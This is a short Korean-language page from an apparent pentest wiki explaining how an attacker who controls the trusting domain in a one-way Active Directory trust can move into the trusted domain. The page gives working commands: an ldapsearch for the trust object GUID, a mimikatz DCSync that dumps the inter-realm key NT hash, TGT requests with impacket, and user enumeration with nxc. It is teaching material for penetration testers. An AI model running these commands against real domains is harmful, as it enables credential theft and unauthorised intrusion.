> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/ad-trust/one-way/domain-lateral-movement.md).

# Domain Lateral movement

<figure><img src="/files/m5SJw9opURlix80v7uJ2" alt=""><figcaption></figcaption></figure>

ACS.LOCAL 도메인 객체는 PENTEST.WIKI 리소스에 접근하거나 정보 수집이 가능하지만 그 반대의 경우는 불가능한 상황을 일방향 신뢰 관계라고 하며 ACS를 신뢰받는 도메인, PENTEST를 신뢰하는 도메인이라고 합니다.

설계 의도 상 공격자가 PENTEST를 장악하더라도 ACS로 측면이동은 불가능한 게 맞지만, 신뢰 관계를 유지하기 위해 필수불가결한 신뢰 계정을 통해 공격자는 외부 도메인 정보수집 및 측면이동이 가능합니다.

## Abuse

{% code title="GUID 디코딩 코드" %}

```python
import base64
import uuid

# base64 문자열
b64_guid = ''

raw_bytes = base64.b64decode(b64_guid)
guid = str(uuid.UUID(bytes_le=raw_bytes))
print("GUID:", guid)
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash"><strong># 장악한 도메인 TDO로부터 inter-realm key 인코딩 값 덤프
</strong>ldapsearch -x -H ldap://192.168.1.11 -D 'Administrator@pentest.wiki' -w 'Password123!' -b 'dc=pentest,dc=wiki' "(objectClass=trustedDomain)" objectGUID

<strong># inter-realm key NT 해시 덤프
</strong>mimikatz # lsadump::dcsync /domain:contoso.com /guid:'&#x3C;{guid}>'

<strong># 신뢰 계정의 TGT 발급 이후 SMB 인증을 통한 정보 수집
</strong>impacket-getTGT 'acs.local/pentest$' -hashes :'&#x3C;nt-hash>'
nxc smb 'acs.local' -u 'pentest$' -k --users
</code></pre>

## Demo

<figure><img src="/files/XvCQ5hfk7xQfw5NSO5pS" alt=""><figcaption></figcaption></figure>
